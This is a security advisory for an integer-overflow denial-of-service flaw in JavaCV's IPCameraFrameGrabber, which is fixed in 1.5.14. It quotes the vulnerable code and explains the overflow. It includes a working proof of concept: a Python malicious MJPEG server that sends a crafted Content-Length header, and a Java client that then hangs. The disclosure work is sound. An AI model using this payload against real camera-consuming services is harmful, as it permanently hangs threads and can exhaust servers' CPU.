GHSA-rxjv-24xq-76wc

Suggest an improvement
Source
https://github.com/advisories/GHSA-rxjv-24xq-76wc
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-rxjv-24xq-76wc/GHSA-rxjv-24xq-76wc.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-rxjv-24xq-76wc
Aliases
  • CVE-2026-102834
Published
2026-10-16T19:53:06Z
Modified
2026-10-16T20:00:04Z
Severity
  • 7.5 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H CVSS Calculator
Summary
JavaCV: Integer Overflow in IPCameraFrameGrabber Causes Infinite-Loop DoS
Details

Summary

IPCameraFrameGrabber parses the Content-Length value from the multipart MJPEG HTTP stream returned by the configured IP camera without any bounds checking. A malicious or compromised camera endpoint - or any network attacker able to tamper with the plaintext HTTP response (these streams are conventionally accessed over http://, as documented in the class itself) - can supply a Content-Length value in the range 1073741825-2147483647. This drives the internal buffer-growth routine ensureBufferCapacity(int) into 32-bit signed integer overflow, which turns the "grow the buffer" loop into a true infinite loop: the loop variable oscillates to 0 and never again satisfies the loop's exit condition. The thread that called grab()/grabBufferedImage() spins at 100% CPU forever and never returns, permanently hanging the calling application's frame-grabbing thread with no exception, timeout, or interrupt path available to the caller.

Details

File: src/main/java/org/bytedeco/javacv/IPCameraFrameGrabber.java

private byte[] readImage() throws IOException {
    ...
    int c0 = subheader.indexOf("content-length: ");
    final int c1 = subheader.indexOf('\r', c0);
    if (c0 < 0) {
        throw new EOFException("The camera stream ended unexpectedly");
    }
    c0 += 16;
    final int contentLength = Integer.parseInt(subheader.substring(c0, c1).trim());   // <-- fully attacker-controlled
    // adaptive size - careful - don't want a 2G jpeg
    ensureBufferCapacity(contentLength);                                              // <-- no upper bound enforced
    input.readFully(pixelBuffer, 0, contentLength);
    ...
}

private void ensureBufferCapacity(int desiredCapacity) {
    int capacity = pixelBuffer.length;          // starts at 1024
    while (capacity < desiredCapacity) {
        capacity *= 2;                          // <-- unchecked int multiplication
    }
    if (capacity > pixelBuffer.length) {
        pixelBuffer = new byte[capacity];
    }
}

contentLength is taken verbatim from the HTTP response headers of the camera stream and passed directly into ensureBufferCapacity with no upper-bound validation (the comment "adaptive size - careful - don't want a 2G jpeg" shows the author was aware of the risk but never implemented a check).

ensureBufferCapacity repeatedly doubles capacity (a 32-bit int, starting at pixelBuffer.length == 1024) until it is >= desiredCapacity. If desiredCapacity is greater than 2^30 (1073741824) but <= Integer.MAX_VALUE (2147483647):

  1. capacity reaches 2^30 (1073741824) after 20 doublings; the loop condition capacity < desiredCapacity is still true.
  2. capacity *= 2 computes 2^31, which overflows a signed 32-bit int and wraps to Integer.MIN_VALUE (-2147483648).
  3. The loop condition capacity < desiredCapacity (a negative number compared to a large positive desiredCapacity) is still true, so the loop continues.
  4. capacity *= 2 computes Integer.MIN_VALUE * 2, which in two's-complement 32-bit arithmetic wraps to 0.
  5. From this point on, capacity is permanently 0 (0 * 2 == 0), and 0 < desiredCapacity remains true forever - the while loop never terminates.

This is a pure CPU-bound loop with no I/O, no blocking call, and no InterruptedException check, so it cannot be interrupted via Thread.interrupt() and will not respect any readTimeout/connectionTimeout configured on the grabber (those only apply to the socket read that happens before this code path). The only remedy is killing the JVM/thread from outside.

PoC

A minimal malicious/MITM'd MJPEG server that reproduces the hang:

import socket

srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind(("0.0.0.0", 8080))
srv.listen(1)
print("listening on :8080")
conn, _ = srv.accept()
conn.recv(4096)  # swallow the client's request

# Any value in (1073741824, 2147483647] triggers the overflow.
malicious_length = 2000000000
header = (
    "--myboundary\r\n"
    "Content-Type: image/jpeg\r\n"
    "Content-Length: %d\r\n\r\n" % malicious_length
)
conn.sendall(header.encode())
# The client will now spin forever inside ensureBufferCapacity()
# before ever attempting to read the (fake) body.

Java client (representative of any application embedding javacv to view an "IP camera" URL):

import org.bytedeco.javacv.IPCameraFrameGrabber;
import java.util.concurrent.TimeUnit;

public class Poc {
    public static void main(String[] args) throws Exception {
        IPCameraFrameGrabber grabber = new IPCameraFrameGrabber(
            "http://127.0.0.1:8080/videostream.cgi", 5, 5, TimeUnit.SECONDS);
        grabber.start();
        grabber.grab(); // never returns; thread pegs a CPU core at 100% forever
    }
}

Running the client against the malicious server above causes grab() to hang permanently, consuming a full CPU core, regardless of the startTimeout/grabTimeout passed to the constructor.

Impact

Any application that uses IPCameraFrameGrabber to consume a camera/MJPEG stream from a source that is not fully trusted - including the common case of plain http:// streams (as shown in the class's own documented examples: http://host/videostream.cgi?...) that can be tampered with by a network-position attacker - can be forced into a permanent, unrecoverable CPU-spinning hang of the grabbing thread by a single crafted response header. No authentication, JPEG payload, or actual data transfer is required; the malicious header alone is sufficient. Repeated exploitation against a server that spawns a grabber thread per client/camera (a common pattern for video-surveillance/monitoring backends) can exhaust available threads/CPU, resulting in a broader denial of service.

Database specific
{
    "cwe_ids":  [
        "CWE-190"
    ],
    "github_reviewed":  true,
    "github_reviewed_at":  "2026-10-16T19:53:06Z",
    "nvd_published_at":  null,
    "severity":  "HIGH"
}
References

Affected packages

Maven / org.bytedeco:javacv

Package

Name
org.bytedeco:javacv
View open source insights on deps.dev
Purl
pkg:maven/org.bytedeco/javacv

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Fixed
1.5.14

Affected versions

0.*
0.8
0.9
0.10
0.11
1.*
1.0
1.1
1.2
1.3
1.3.1
1.3.2
1.3.3
1.4
1.4.1
1.4.2
1.4.3
1.4.4
1.5
1.5.1
1.5.2
1.5.3
1.5.4
1.5.5
1.5.6
1.5.7
1.5.8
1.5.9
1.5.10
1.5.11
1.5.12
1.5.13

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-rxjv-24xq-76wc/GHSA-rxjv-24xq-76wc.json"